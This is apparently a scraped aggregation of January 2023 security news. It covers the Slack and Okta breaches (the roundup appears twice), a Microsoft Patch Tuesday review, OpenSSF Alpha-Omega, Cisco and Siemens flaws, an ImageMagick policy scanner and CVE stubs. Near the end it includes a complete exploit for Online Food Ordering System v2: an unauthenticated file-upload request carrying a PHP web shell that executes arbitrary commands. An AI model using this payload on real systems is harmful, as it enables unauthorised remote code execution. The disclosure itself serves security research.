Authenticated mail users, under specific circumstances, could add files with unsanitized content in public folders where the IIS user had permission to access. That action, could lead an attacker to store arbitrary code on that files and execute RCE commands.

CVE-2022-42136

Your fortnightly rundown of AppSec vulnerabilities, new hacking techniques, and other cybersecurity news

Jessica Haworth 13 January 2023 at 18:31 UTC  
Updated: 16 January 2023 at 14:29 UTC

Your fortnightly rundown of AppSec vulnerabilities, new hacking techniques, and other cybersecurity news

  

Slack suffered a security breach recently, “involving unauthorized access to a subset of Slack’s code repositories” according to the messaging platform.

The company said that although no customers were affected, an internal investigation revealed that an unknown actor downloaded private code repositories on or around December 27.

“We discovered that a limited number of Slack employee tokens were stolen and misused to gain access to our externally hosted GitHub repository,” a statement read.

“No downloaded repositories contained customer data, means to access customer data or Slack’s primary codebase.”

Identity management company Okta also fell victim to a breach when an unknown actor accessed its code repositories.

The incident occurred “in early December 2022”, the vendor said, without confirming whether or not any data was stolen.

It did confirm that it “promptly placed temporary restrictions on access to Okta GitHub repositories and suspended all GitHub integrations with third-party applications”.

And over in the US, a government watchdog spent $15,000 to build a password-cracking program – only to discover employees were using easily-guessable credentials all along.

The complicated software, financed by the Department of the Interior, was designed to take on tasks such as recovering hashed passwords.

However it ultimately found that it was able to recover nearly 14,000 employee passwords, – 16% of all department accounts – due to “easily cracked passwords, lack of multifactor authentication, and other failures”.

Among other stories from The Daily Swig in recent days were secure messaging app Threema disputing the seriousness of flaws in its software, developers being urged to rotate secrets in CircleCI due to a security breach, and cross-origin resource (CORS) misconfigurations in the environments of enterprises including Tesla that left internal networks vulnerable.

Here are some other web security stories and other cybersecurity news that caught our attention in the last fortnight:

**Web vulnerabilities**

*   Cisco / Critical / RCE, authentication bypass vulnerabilities / Disclosed with patch, January 11
*   CKEditor / Critical / CSRF vulnerability in CKEditor can lead to RCE (remote code execution) in XWiki / Patched in CKEditor Integration version 1.64.3
*   Mozilla / Moderate / Attacker could inject markup due to the fact Firefox failed to implement the unsafe-hashes CSP (content security policy) directive / Disclosed with patch, December 13
*   VMWare / Critical / Command injection, directory traversal vulnerabilities / Patched in VMWare vRealize Network Insight v6.8
*   Zoom / Medium, High / Path traversal, local privilege escalation bugs for Windows, Android, MacOS clients / Patched January

**Research and attack techniques**

*   Researchers from Sonarsource discovered a command injection vulnerability as well as an authentication bypass vulnerability in open source web-based monitoring tool Cacti which allowed unauthenticated exploitation.
*   A malicious Python file found on the PyPi repository adds backdoor and data exfiltration features to what appears to be a legitimate SDK (software development kit) client from security firm SentinelOne, researchers at ReversingLabs have reported.
*   Also concerning PyPi, researcher Tom Forbes found 57 valid AWS keys present on the Python package index belonging to Amazon, Intel, and other organizations by scanning new packages with GitHub Actions.
*   A research team from Imperva demonstrated how they discovered a vulnerability in Google Chrome that led to the theft of sensitive files, such as crypto wallets and cloud provider credentials.
*   And Harsh Bothra from Cobalt released this handy write up on how pen testers can spot prototype pollution-style attacks.
**Bug bounty/vulnerability disclosure**

*   Researcher Matt Kunze netted a $107,500 bug bounty reward from Google for reporting vulnerabilities in the Google Home Mini smart speaker which allowed him to access the microphone on the device and make arbitrary HTTP requests on the local network.
*   Security firm CloudSek released BeVigil, a tool to enable bug bounty hunters to find and report vulnerabilities in mobile apps.
*   And hacker Jerry Gamblin published this extensive guide on the CVE year in review, featuring data on assigned vulnerabilities from the year 2022.
**New open source infosec/hacking tools**

*   GCP Goat is a vulnerable cloud infrastructure tool featuring the latest released OWASP Top 10 web application security risks and other misconfiguration, designed to help test developers test their code in a cloud environment.
*   Another cloud-based tool, PEACH is a tenant isolation framework for cloud applications to help protect against malicious actors accessing “data belonging to other customers”, for example, in cases such as ChaosDB, ExtraReplica, and AttachMe.
*   Open source tool sbom-utility has been released, an API platform for validating, querying, updating, and managing standardized SBOMs.
**For devs**

*   Exact Realty has released this blog post explaining how developers can defend against introducing cross-site request forgery (CSRF) vulnerabilities into websites.
*   Google’s Chromium project now supports the use of third-party Rust libraries from C++, and will include Rust code in the Chrome binary “within the next year”.
**For fun**

Finally, SplendidData’s bonkers bug bounty program policy was subject to online infosec scrutiny recently.

The rules date back to at least early 2021, however it still sparked a lively discussion thread on Twitter over the last week as some of its questionable terms were highlighted.

Its policy boasts guidance such as ‘we will not respond to your request’ and that the company ‘cannot guarantee’ that no legal action will be taken, even if the vulnerability was disclosed responsibly.

Unsurprisingly, this spread like wildfire on infosec Twitter with one user called TJ joking: “I like the “we MIGHT sue you, idk” aspect… adds a little excitement to life.”

RECOMMENDED Prototype pollution-like bug variant discovered in Python

Deserialized web security roundup – Slack and Okta breaches, lax US government passwords report, and more&nbsp;

Jessica Haworth 13 January 2023 at 18:31 UTC

Your fortnightly rundown of AppSec vulnerabilities, new hacking techniques, and other cybersecurity news

  

Slack suffered a security breach recently, “involving unauthorized access to a subset of Slack’s code repositories” according to the messaging platform.

The company said that although no customers were affected, an internal investigation revealed that an unknown actor downloaded private code repositories on or around December 27.

“We discovered that a limited number of Slack employee tokens were stolen and misused to gain access to our externally hosted GitHub repository,” a statement read.

“No downloaded repositories contained customer data, means to access customer data or Slack’s primary codebase.”

Identity management company Okta also fell victim to a breach when an unknown actor accessed its code repositories.

The incident occurred “in early December 2022”, the vendor said, without confirming whether or not any data was stolen.

It did confirm that it “promptly placed temporary restrictions on access to Okta GitHub repositories and suspended all GitHub integrations with third-party applications”.

And over in the US, a government watchdog spent $15,000 to build a password-cracking program – only to discover employees were using easily-guessable credentials all along.

The complicated software, financed by the Department of the Interior, was designed to take on tasks such as recovering hashed passwords.

However it ultimately found that it was able to recover nearly 14,000 employee passwords, – 16% of all department accounts – due to “easily cracked passwords, lack of multifactor authentication, and other failures”.

Among other stories from The Daily Swig in recent days were secure messaging app Threema disputing the seriousness of flaws in its software, developers being urged to rotate secrets in CircleCI due to a security breach, and cross-origin resource (CORS) misconfigurations in the environments of enterprises including Tesla that left internal networks vulnerable.

Here are some other web security stories and other cybersecurity news that caught our attention in the last fortnight:

**Web vulnerabilities**

*   Cisco / Critical / RCE, authentication bypass vulnerabilities / Disclosed with patch, January 11
*   CKEditor / Critical / CSRF vulnerability in CKEditor can lead to RCE (remote code execution) in XWiki / Patched in CKEditor Integration version 1.64.3
*   Mozilla / Moderate / Attacker could inject markup due to the fact Firefox failed to implement the unsafe-hashes CSP (content security policy) directive / Disclosed with patch, December 13
*   VMWare / Critical / Command injection, directory traversal vulnerabilities / Patched in VMWare vRealize Network Insight v6.8
*   Zoom / Medium, High / Path traversal, local privilege escalation bugs for Windows, Android, MacOS clients / Patched January

**Research and attack techniques**

*   Researchers from Sonarsource discovered a command injection vulnerability as well as an authentication bypass vulnerability in open source web-based monitoring tool Cacti which allowed unauthenticated exploitation.
*   A malicious Python file found on the PyPi repository adds backdoor and data exfiltration features to what appears to be a legitimate SDK (software development kit) client from security firm SentinelOne, researchers at ReversingLabs have reported.
*   Also concerning PyPi, researcher Tom Forbes found 57 valid AWS keys present on the Python package index belonging to Amazon, Intel, and other organizations by scanning new packages with GitHub Actions.
*   A research team from Imperva demonstrated how they discovered a vulnerability in Google Chrome that led to the theft of sensitive files, such as crypto wallets and cloud provider credentials.
*   And Harsh Bothra from Cobalt released this handy write up on how pen testers can spot prototype pollution-style attacks.
**Bug bounty/vulnerability disclosure**

*   Researcher Matt Kunze netted a $107,500 bug bounty reward from Google for reporting vulnerabilities in the Google Home Mini smart speaker which allowed him to access the microphone on the device and make arbitrary HTTP requests on the local network.
*   Security firm CloudSek released BeVigil, a tool to enable bug bounty hunters to find and report vulnerabilities in mobile apps.
*   And hacker Jerry Gamblin published this extensive guide on the CVE year in review, featuring data on assigned vulnerabilities from the year 2022.
**New open source infosec/hacking tools**

*   GCP Goat is a vulnerable cloud infrastructure tool featuring the latest released OWASP Top 10 web application security risks and other misconfiguration, designed to help test developers test their code in a cloud environment.
*   Another cloud-based tool, PEACH is a tenant isolation framework for cloud applications to help protect against malicious actors accessing “data belonging to other customers”, for example, in cases such as ChaosDB, ExtraReplica, and AttachMe.
*   Open source tool sbom-utility has been released, an API platform for validating, querying, updating, and managing standardized SBOMs.
**For devs**

*   Exact Realty has released this blog post explaining how developers can defend against introducing cross-site request forgery (CSRF) vulnerabilities into websites.
*   Google’s Chromium project now supports the use of third-party Rust libraries from C++, and will include Rust code in the Chrome binary “within the next year”.
**For fun**

Finally, SplendidData’s bonkers bug bounty program policy was subject to online infosec scrutiny recently.

The rules date back to at least early 2021, however it still sparked a lively discussion thread on Twitter over the last week as some of its questionable terms were highlighted.

Its policy boasts guidance such as ‘we will not respond to your request’ and that the company ‘cannot guarantee’ that no legal action will be taken, even if the vulnerability was disclosed responsibly.

Unsurprisingly, this spread like wildfire on infosec Twitter with one user called TJ joking: “I like the “we MIGHT sue you, idk” aspect… adds a little excitement to life.”

RECOMMENDED Prototype pollution-like bug variant discovered in Python

Deserialized web security roundup – Slack, Okta security breaches, lax US government passwords report, and more&nbsp;

Hello everyone! This episode will be about Microsoft Patch Tuesday for January 2023, including vulnerabilities that were added between December and January Patch Tuesdays. Alternative video link (for Russia): https://vk.com/video-149273431_456239115 As usual, I use my open source Vulristics project to analyse and prioritize vulnerabilities. I took the comments about the vulnerabilities from the Qualys, Nessus, Rapid7 and ZDI […]

Hello everyone! This episode will be about Microsoft Patch Tuesday for January 2023, including vulnerabilities that were added between December and January Patch Tuesdays.

Alternative video link (for Russia): https://vk.com/video-149273431\_456239115

As usual, I use my open source Vulristics project to analyse and prioritize vulnerabilities. I took the comments about the vulnerabilities from the Qualys, Nessus, Rapid7 and ZDI Patch Tuesday reviews.

    $ cat comments_links.txt 
    Qualys|The January 2023 Patch Tuesday Security Update Review|https://blog.qualys.com/vulnerabilities-threat-research/patch-tuesday/2023/01/10/the-january-2023-patch-tuesday-security-update-review
    ZDI|THE JANUARY 2023 SECURITY UPDATE REVIEW|https://www.zerodayinitiative.com/blog/2023/1/10/the-january-2023-security-update-review
    
    $ python3.8 process_classify_ms_products.py  # Automated classifier for Microsoft products
    
    $ python3.8 vulristics.py --report-type "ms_patch_tuesday_extended" --mspt-year 2023 --mspt-month "January" --mspt-comments-links-path "comments_links.txt"  --rewrite-flag "True"
    ...
    Creating Patch Tuesday profile...
    MS PT Year: 2023
    MS PT Month: January
    MS PT Date: 2023-01-10
    MS PT CVEs found: 98
    Ext MS PT Date from: 2022-12-14
    Ext MS PT Date to: 2023-01-09
    Ext MS PT CVEs found: 5
    ALL MS PT CVEs: 103
    Qualys query: January 2023 Patch Tuesday
    ...

*   All vulnerabilities: 103
*   Urgent: 0
*   Critical: 1
*   High: 44
*   Medium: 58
*   Low: 0

This time there was one vulnerability with a sign of exploitation in the wild:

**Elevation of Privilege** – Windows Advanced Local Procedure Call (ALPC) (CVE-2023-21674). The vulnerability exists in the Advanced Local Procedure Call (ALPC) functionality. ALPC is a message passing utility in Windows operating systems. When exploited, an attacker can leverage the vulnerability to break out of the sandbox in Chromium and gain kernel-level execution privileges. Exploitation in the wild is mentioned on Vulners (cisa\_kev object), AttackerKB, Microsoft websites. The existence of the exploit is mentioned in Microsoft CVSS Temporal Score (Functional Exploit).

For one more vulnerability, there is a public exploit on GitHub:

**Elevation of Privilege** – Windows Backup Service (CVE-2023-21752). Not much is known about this vulnerability. According to Microsoft’s description, an attacker who successfully exploited this vulnerability could gain SYSTEM privileges. This vulnerability does not allow disclosure of any confidential information, but could allow an attacker to delete data that could include data that results in the service being unavailable. This vulnerability was not highlighted in any of the reviews released by VM vendors. However, on January 11, a well-known researcher Filip Dragovic Wh04m1001 released two public PoCs on GitHub. The first PoC can delete any file, the second one launches a shell with elevated privileges.

For one more vulnerability, there is no public exploit yet, but the researchers promise to publish it within 30 days:

**Elevation of Privilege** – Windows NTLM (CVE-2023-21746). Successful exploitation would allow an attacker to gain SYSTEM privileges. The vulnerability was disclosed by Andrea Pierini with Semperis and Antonio Cocomazzi with Sentinel One. They named it LocalPotato and created site for it. So it is likely that the PoC will be publicly available pretty soon.

Now let’s talk about other vulnerabilities for which there are no public exploits and signs of exploitation in the wild. It makes sense to pay attention to the following:

1.  **Elevation of Privilege** – Microsoft Exchange (CVE-2023-21763, CVE-2023-21764). This vulnerability arises from failing to patch a previously identified issue, designated as CVE-2022-41123 (November Patch Tuesday). Thanks to the use of a hard-coded path, a local attacker could load their own DLL and execute code at the level of SYSTEM. With Exchange, you can never say that a vulnerability will not be used in a dangerous attack (like ProxyShell or ProxyNotShell), it is better to carefully fix all Exchange vulnerabilities This also applies to **Information Disclosure** – Microsoft Exchange (CVE-2023-21761) and **Spoofing** – Microsoft Exchange (CVE-2023-21745).
2.  **Remote Code Execution** in various protocols Windows Lightweight Directory Access Protocol (LDAP) (CVE-2023-21676),  Windows Authentication (CVE-2023-21539), Windows Layer 2 Tunneling Protocol (L2TP) ( 5 CVEs: CVE-2023-21679, CVE-2023-21546, CVE-2023-21555, CVE-2023-21556, CVE-2023-21543), Windows Secure Socket Tunneling Protocol (SSTP) (CVE-2023-21535, CVE-2023-21548). All vulnerabilities with network access vector. Little is known about these vulnerabilities. But if any of these vulnerabilities turn out to be exploitable, it could be very serious.

Also I would like to mention that Windows 8.1 reached end of support on January 10, 2023, at which point technical assistance and software updates will no longer be provided. Also after 10 years of support and 3 additional years extended support, Windows Server 2008/2008R2 Extended Security Updates (ESUs) program has ended. As well as Windows 7 Extended Security Updates program. A good reason to check your infrastructure for such legacy hosts and try to get rid of them.

Full Vulristics report: ms\_patch\_tuesday\_january2023

Hi! My name is Alexander and I am a Vulnerability Management specialist. You can read more about me here. Currently, the best way to follow me is my Telegram channel @avleonovcom. I update it more often than this site. If you haven’t used Telegram yet, give it a try. It’s great. You can discuss my posts or ask questions at @avleonovchat.

А всех русскоязычных я приглашаю в ещё один телеграмм канал @avleonovrus, первым делом теперь пишу туда.

Microsoft Patch Tuesday January 2023: ALPC EoP, Win Backup EoP, LocalPotato, Exchange, Remote RCEs

SBOMs aren't enough. OpenSSF's Alpha-Omega brings in new blood to help secure the open source projects most impactful to the software supply chain.

The intricate labyrinth of open source dependencies across the global software supply chain has created an application security puzzle of mammoth proportions. Whether open source or closed, most of the world's software today is built on third-party components and libraries. Consequently, one piece of vulnerable code in even the smallest of open source projects can have a domino effect that impacts thousands of other applications, APIs, cloud infrastructure components, and more.

This issue is becoming one of the most pressing security concerns of CISOs today, and at an individual enterprise level, organizations are hard at work tackling it with projects like building out software bills of materials (SBOMs), establishing open source security management standards, and creating technical guardrails for developers to follow them.

But these efforts don't necessarily solve the problem at a more systemic level. According to many experts in the open source community, in order to make the biggest dent in the downstream supply chain, more effort needs to be put into helping open source project maintainers clean up their code.

This is the goal of the Alpha-Omega Project. About to hit its one-year anniversary next month, Alpha-Omega is a big-picture security project put together by the Open Source Security Foundation (OpenSSF) and its parent organization, the Linux Foundation, to address the fundamental issues in software supply chain security.

The "Alpha" side of the project is focused on collaborating with the maintainers of the open source projects most critical to the broader supply chain — including notables like node and jQquery — to help them level up the security posture of their code. These are projects hand-selected by the OpenSSF Securing Critical Projects working group using expert opinion and data from benchmarks like the Open SSF Criticality Score to determine the projects with the biggest downstream impact.

The "Omega" side of the project turns to the long-tail of software supply chain security, using automation and tooling to identify critical security vulnerabilities across a range of 10,000 widely deployed open source projects. It's an effort to scale up the remediation of the lowest-hanging, most obvious flaws that are pervasive across the supply chain.

Funded initially by Google and Microsoft, with additional toolchain and personnel support from financial giant Citi, Alpha-Omega wrapped up 2022 by snagging an additional $2.5 million from Amazon Web Services. More crucially, the project is preparing for 2023 with two new critical hires — Yesenia Yser, formerly a product security engineer for Red Hat, and Jonathan Leitschuh, who just finished up his one-year stint as the first Dan Kaminsky Fellow for Human Security. Yser steps in as a senior software security engineer, and Leitschuh will continue his research on automating open source security research and remediation as a senior software security researcher.

**Alpha-Omega Project's First Year**

This project is one of several high-profile security projects spearheaded and fundraised by OpenSSF and Linux Foundation in the past year to tackle the systemic issues in open source security. Following the organizations' successful model for rapid funding and action on security projects, Alpha-Omega has already made headway on a number of significant fronts.

According to the project's first annual report, the project has already engaged with five different open source projects: Node.js, the Eclipse Foundation, the Rust Foundation, jQuery, and the Python Software Foundation. Over the course of 2022, Alpha-Omega doled out $1.5 million in grants to different projects, including $460,000 to the Rust Foundation, $400,000 to the Eclipse Foundation, and $300,000 to Node. In the case of Node, that support helped it reactivate the Node Security Working Group and get it working on a security and threat model for Node.js. It also spurred the triaging of 20 different vulnerability reports across the project's code base.

Additionally, Alpha-Omega recently released the initial version of the Omega Analysis Toolchain, which orchestrates 27 different security analyzers for identifying critical vulnerabilities in open source packages. The project also released a number of experimental tools, including a triage portal to make security research and reporting more efficient.

For year two, the project plans to accelerate work on the Omega side of the house.

**What 2023 Has in Store for the Project**

The addition of Yser and Leitschuh to the Alpha-Omega Project will not only infuse more brainpower, time, and talent into existing efforts, but also plenty of enthusiasm for moving the needle on open source security.

"Open source software is in every piece of equipment that is used today, from our automotives, airplanes, phones, trackers, and even utility systems," says Yser, who has deep roots in the DevSecOps and software supply chain worlds. In her position at Red Hat she was the supply chain ops technical lead.

"The vision for the project has a global impact of improving the security posture of open source software, supply chain security, and the lives of folks around the world," she says.

Yser will be working directly on improving the Omega toolchain and the triage portal to help engineer improvements in how projects and vulnerability impacts are analyzed and prioritized for mitigation.

"For the Omega tool chain, a goal for this year will be to have an operationalized system that a maintainer or developer can leverage," she says. "For the Triage Portal, the goal will be to support a researcher's ability to triage a discovered finding via importing a SARIF report to the portal and handle their investigation within the system. The system will remain limited to the Alpha-Omega team until noted otherwise, but thanks to open source software, a researcher can run their own instance and submit pull requests to the repository and support the overall mission."

Yser will be working in close collaboration with Leitschuh, who brings significant and very fresh experience to bear in the area of scaling and automating fixes across open source projects. He spent last year's fellowship working on this exact problem. His goal is to continue the work he did there and use what he learned to further his mission of rooting out the most prevalent and impactful flaws lurking across a wide swath of open source projects.

"We may not know where those little pegs are that are holding up the entire software industry exist," Leitschuh says. "It could be one of those tiny little pieces of software that has 15 stars on GitHub that nobody knows, but it's holding up the entire Internet. So how do we secure those projects that no one knows about but \[are\] somehow fundamental to the entire supply chain?"

He says his work during the fellowship helped him further home in on his niche of not necessarily going very deep on any one security vulnerability, but instead looking at a certain type of vulnerability and developing automated ways of finding that same flaw in lots of different places across the open source ecosystem. This dovetails perfectly with the Omega ethos, which is what led him to his newest gig.

Leitschuh will keep supporting refinements on automated methods for running down flaws in Data Flow and Control analysis and auto pull request generation. But he's also going to be continuing the very manual work of collaboration. One of the important lessons he learned last year is that a lot of the work ahead of him and his Alpha-Omega team is not necessarily technical. It's about building relationships with maintainers to help them see how sometimes even simple fixes to their projects can have a huge impact on global software supply chain security postures.

"Technologists and software people, we don't always love the human element — it's easier for us to sit down and write a line of code that detects this thing and throw it over a wall than it is for us to engage with an actual person and try to convince them this is a thing worth fixing," he says.

He explains how one instance last year illustrates this point perfectly. In this case he worked with a maintainer of a YAML Parser that had a 6-year-old remote code execution flaw that had a lot of downstream impact. For a long time when Leitschuh approached him about it, the maintainer told him, "Don't trust untrusted YAML. This is not my vulnerability."

Finally, after sitting the maintainer down in a video call with lots of technical debate, Leitschuh was able to show him that the change he requested was extremely narrow and could have a huge impact.

"So he's now willing to fix this 6-year-old remote code execution vulnerability in this YAML Parser because someone like me sat down with him on a video call, finally, and had a conversation with him to convince him the minimal thing that he needed to do to make it more secure," he says.

While Leitschuh could have automated fixing the vulnerability downstream, the more elegant fix was having this discussion instead.

"I thought it was worth it for me to sit down and spend the time focusing on this one piece of software to try to convince this maintainer. Having those conversations is what's going to have a wider positive impact writ large on the entire industry," he says. "At that point you just need boots on the ground. You need people that know what they're talking about to sit down and spend time that is required to engage with an actual person."

Software Supply Chain Security Needs a Bigger Picture

Unpatched Cisco bugs, tracked as CVE-2023-20025 and CVE-2023-20026, allow lateral movement, data theft, and malware infestations.

Two security vulnerabilities in Cisco routers for small and midsize businesses (SMBs) could allow unauthenticated cyberattackers to take full control of a target device to run commands with root privileges. Unfortunately, they'll remain unpatched even though proof-of-concept exploits are floating around in the wild.

Among other things, a successful compromise could allow cyberattackers to eavesdrop on or hijack VPN and session traffic flowing through the device, gain a foothold for lateral movement within a company's network, or run cryptominers, botnet clients, or other malware.

"It’s an attractive target from a technical point of view. As an attacker, if you manage to get remote code execution on core routing or network infrastructure, your ability to move laterally increases exponentially," noted Casey Ellis, founder and CTO at Bugcrowd, in an emailed comment.

**Critical-Rated Bug Offers Root Privileges**

The first bug is a critical-rated authentication bypass issue (CVE-2023-20025) that exists in the Web management interface of the devices and carries a rating of 9 out of 10 on the CVSS vulnerability-severity scale.

Meanwhile, the second flaw — tracked as CVE-2023-20026 — can allow remote code execution (RCE) with a caveat: an attacker would need to have valid administrative credentials on the affected device to be successful, so the bug is rated medium, with a 6.5 CVSS score.

They both affect all versions of the RV016, RV042, RV042G, and RV082 routers, which have reached end of life (EoL). As such, the appliances therefore no longer receive security updates, according to the networking giant's Jan. 11 advisory.

The advisory noted that both bugs are "due to improper validation of user input within incoming HTTP packets," so an attacker needs only to send a crafted HTTP request to the Web-based management interface to gain root access on the underlying operating system.

Cisco "is aware that proof-of-concept exploit code is available for the vulnerabilities that are described in this advisory," it said, though in-the-wild attacks have so far not been spotted.

While there are no workarounds that address the bugs, a possible mitigation would be to disable remote management of the routers and block access to ports 443 and 60443, according to Cisco, meaning the routers would only be accessible through the LAN interface.

"It’s always a best practice not to allow remote administration of network devices accessible from the open internet, however, small business using some MSP/MSSPs have to leave it open for their service providers," John Bambenek, principal threat Hunter at Netenrich, noted via email. "That said, this is the worst of all worlds with PoC code publicly available and no ... patches available."

Replacing the devices is the best course of action to fully protect one's business, the researchers noted.

**Big Impact, Even at EoL**

Researchers noted that the routers' existing installed base is significant, even though the devices have been discontinued. It's not uncommon for out-of-date gear to linger on in business environments well after it's been cut off — offering a rich playground for cyberattackers.

"The Cisco small business routers affected by these vulnerabilities still see reasonably widespread usage, though they are all officially end of life," Mike Parkin, senior technical engineer at Vulcan Cyber, said via email. "The challenge will be that these devices are typically found in small businesses with limited resources or used by individuals who may not have the budget to replace them."

And, it's not just SMBs who are affected, Bugcrowd's Ellis noted: "SMB routers are very widely deployed, and in a post-COVID hybrid/work from home world, it’s not just an SMB problem. Branch offices, COEs, and even home offices are potential users of the vulnerable product."

Critical Cisco SMB Router Flaw Allows Authentication Bypass, PoC Available

Library has somewhat of an image problem given history of serious bugs

Library has somewhat of an image problem given history of serious bugs

  

A new tool enables developers to better protect themselves against vulnerabilities in popular file converter ImageMagick, which has suffered from various security holes in the past.

ImageMagick is used by websites to convert files and currently supports the conversion of more than 100 types.

While it has proven to be popular due to the sheer number of conversions it offers, the tool has also been subject to a number of critical security vulnerabilities over the years.

Read more of the latest web security vulnerability news

In 2016, researchers released ImageTragick, a series of vulnerabilities in the library – one of which could lead to remote code execution (RCE) via a crafted malicious image.

Two years later, Google Project Zero’s Tavis Ormandy published details of how supporting external programs can also leave ImageMagick vulnerable to RCE.

Then in 2020, researcher Alex Inführ found a shell injection vulnerability in ImageMagick, and in 2021 Synacktiv researchers demonstrated how they were able to achieve arbitrary file upload using known flaws in the library.

**Policy problem**

To protect users against these kinds of bugs, ImageMagick contains a security policy that can be customised by developers.

It’s “very tuneable policy mechanism” has options that adjust all the specific internal thresholds and features that the library can tolerate, Doyensec’s Lorenzo Stella, the tool’s author, told The Daily Swig.

Stella added, however, that the policy can cause confusion as it sometimes contains terms only people familiar with the library can recognize. “On top of that, not all the available options are listed on this page, so the code is often the only real documentation,” he said.

The new tool, called ImageMagick Security Policy Scanner, therefore enables users to evaluate the security policies on offer to determine which is right for them.

LIKE THE DAILY SWIG? Tell us what you think by filling in our survey and be in with the chance to win Burp Suite swag

In a blog post released this week (January 10), Stella wrote: “Because of the number of available options and the need to explicitly deny all insecure settings, this is usually a manual task, which may not identify subtle bypasses which undermine the strength of a policy.

“It’s also easy to set policies that appear to work, but offer no real security benefit.

“The tool’s checks are based on our research aimed at helping developers to harden their policies and improve the security of their applications, to make sure policies provide a meaningful security benefit and cannot be subverted by attackers.”

**CSP Evaluator similarities**

The researcher said the tool is similar to Google’s CSP evaluator in that it can immediately identify any security gaps in a policy and is designed to be used by both auditors and developers.

Stella also added a guide that describes how developers can harden it even more in their environments, identify different commands, verify if the policy is enforced, and more.

He added: “It’s important to remember that securing an ImageMagick installation does not stop with setting a secure policy, but should be paired with a number of other defense-in-depth practices.

“To the best of my knowledge, this is the first tool of its kind for ImageMagick,” said Stella, who noted that the security team at ImageMagick added a reference to the tool to their security page.

RECOMMENDED Threema disputes crypto flaws disclosure, prompts security flap

New tool protects against vulnerabilities in popular file converter ImageMagick

Online Food Ordering System version 2.0 suffers from a remote shell upload vulnerability.

# Exploit Title: Online Food Ordering System v2 - Remote Code Execution (RCE) (Unauthenticated)  
# Date: 01/11/2023  
# Exploit Author: Onurcan Alcan  
# Vendor Homepage: https://www.sourcecodester.com/php/16022/online-food-ordering-system-v2-using-php8-and-mysql-free-source-code.html  
# Software Link: https://www.sourcecodester.com/download-code?nid=16022&title=Online+Food+Ordering+System+v2+using+PHP8+and+MySQL+Free+Source+Code  
# Version: 2.0   
# Tested on: Macos / XAMPP

############## Unauthenticated File Upload Request ##############

POST /fos/admin/ajax.php?action=save_menu HTTP/1.1  
Host: localhost  
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:108.0) Gecko/20100101 Firefox/108.0  
Accept: */*  
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3  
Accept-Encoding: gzip, deflate  
X-Requested-With: XMLHttpRequest  
Content-Type: multipart/form-data; boundary=---------------------------38679779537855109463517942658  
Content-Length: 1225  
Origin: http://localhost  
Connection: close  
Referer: http://localhost/fos/admin/index.php?page=menu  
Sec-Fetch-Dest: empty  
Sec-Fetch-Mode: cors  
Sec-Fetch-Site: same-origin

-----------------------------38679779537855109463517942658  
Content-Disposition: form-data; name="id"

1  
-----------------------------38679779537855109463517942658  
Content-Disposition: form-data; name="name"

Diet Coke  
-----------------------------38679779537855109463517942658  
Content-Disposition: form-data; name="description"

In Can  
-----------------------------38679779537855109463517942658  
Content-Disposition: form-data; name="status"

on  
-----------------------------38679779537855109463517942658  
Content-Disposition: form-data; name="category_id"

3  
-----------------------------38679779537855109463517942658  
Content-Disposition: form-data; name="price"

20  
-----------------------------38679779537855109463517942658  
Content-Disposition: form-data; name="img"; filename="revcmd.php"  
Content-Type: text/php

<?  
?>  
<HTML><BODY>  
<FORM METHOD="GET" NAME="myform" ACTION="">  
<INPUT TYPE="text" NAME="cmd">  
<INPUT TYPE="submit" VALUE="Send">  
</FORM>  
<pre>  
<?  
if($_GET['cmd']) {  
  system($_GET['cmd']);  
  }  
?>  
</pre>  
</BODY></HTML>

-----------------------------38679779537855109463517942658--

Online Food Ordering System 2.0 Shell Upload

Security researchers have disclosed multiple architectural vulnerabilities in Siemens SIMATIC and SIPLUS S7-1500 programmable logic controllers (PLCs) that could be exploited by a malicious actor to stealthily install firmware on affected devices and take control of them.
Discovered by Red Balloon Security, the issues are tracked as CVE-2022-38773 (CVSS score: 4.6), with the low severity

Firmware and Hardware Security

Security researchers have disclosed multiple architectural vulnerabilities in Siemens SIMATIC and SIPLUS S7-1500 programmable logic controllers (PLCs) that could be exploited by a malicious actor to stealthily install firmware on affected devices and take control of them.

Discovered by **Red Balloon Security**, the issues are tracked as **CVE-2022-38773** (CVSS score: 4.6), with the low severity stemming from the prerequisite that exploitation requires physical tampering of the device.

The flaws "could allow attackers to bypass all protected boot features, resulting in persistent arbitrary modification of operating code and data," the company said. More than 100 models are susceptible.

Put differently, the weaknesses are the result of a lack of asymmetric signature verifications for firmware at bootup, effectively permitting the attacker to load tainted bootloader and firmware while undermining integrity protections.

A more severe consequence of loading such modified firmware is that it could give the threat actor the ability to persistently execute malicious code and gain total control of the devices without raising any red flags.

"This discovery has potentially significant implications for industrial environments as these unpatchable hardware root-of-trust vulnerabilities could result in persistent arbitrary modification of S7-1500 operating code and data," the researchers said.

Siemens, in an advisory released this week, said it has no patches planned but urged customers to limit physical access to the affected PLCs to trusted personnel to avoid hardware tampering.

The lack of a firmware update is attributed to the fact that the cryptographic scheme that undergirds the protected boot features is baked into a dedicated physical secure element chip (called the ATECC108 CryptoAuthentication coprocessor), which decrypts the firmware in memory during startup.

An attacker with physical access to the device could therefore leverage the issues identified in the cryptographic implementation to decrypt the firmware, make unauthorized changes, and flash the trojanized firmware onto the PLC either physically or by exploiting a known remote code execution flaw.

"The fundamental vulnerabilities — improper hardware implementations of the \[Root of Trust\] using dedicated cryptographic-processor — are unpatchable and cannot be fixed by a firmware update since the hardware is physically unmodifiable," the researchers explained.

However, the German automation giant said it's in the process of releasing new hardware versions for the S7-1500 product family that come with a revamped "secure boot mechanism" that resolves the vulnerability.

The findings come as industrial security firm Claroty last year disclosed a critical flaw impacting Siemens SIMATIC devices that could be exploited to retrieve the hard-coded, global private cryptographic keys and completely compromise the product.

Found this article interesting? Follow us on Twitter __ and LinkedIn to read more exclusive content we post.

Over 100 Siemens PLC Models Found Vulnerable to Firmware Takeover

**According to the CVSS metric, a successful exploitation could lead to a scope change (S:C). What does this mean for this vulnerability?**

This vulnerability could lead to a browser sandbox escape.

CVE-ID

Learn more at National Vulnerability Database (NVD)

• CVSS Severity Rating • Fix Information • Vulnerable Software Versions • SCAP Mappings • CPE Information

Description

\*\* RESERVED \*\* This candidate has been reserved by an organization or individual that will use it when announcing a new security problem. When the candidate has been publicized, the details for this candidate will be provided.

References

**Note:** References are provided for the convenience of the reader to help distinguish between vulnerabilities. The list is not intended to be complete.

Assigning CNA

N/A

Date Record Created

**20221216**

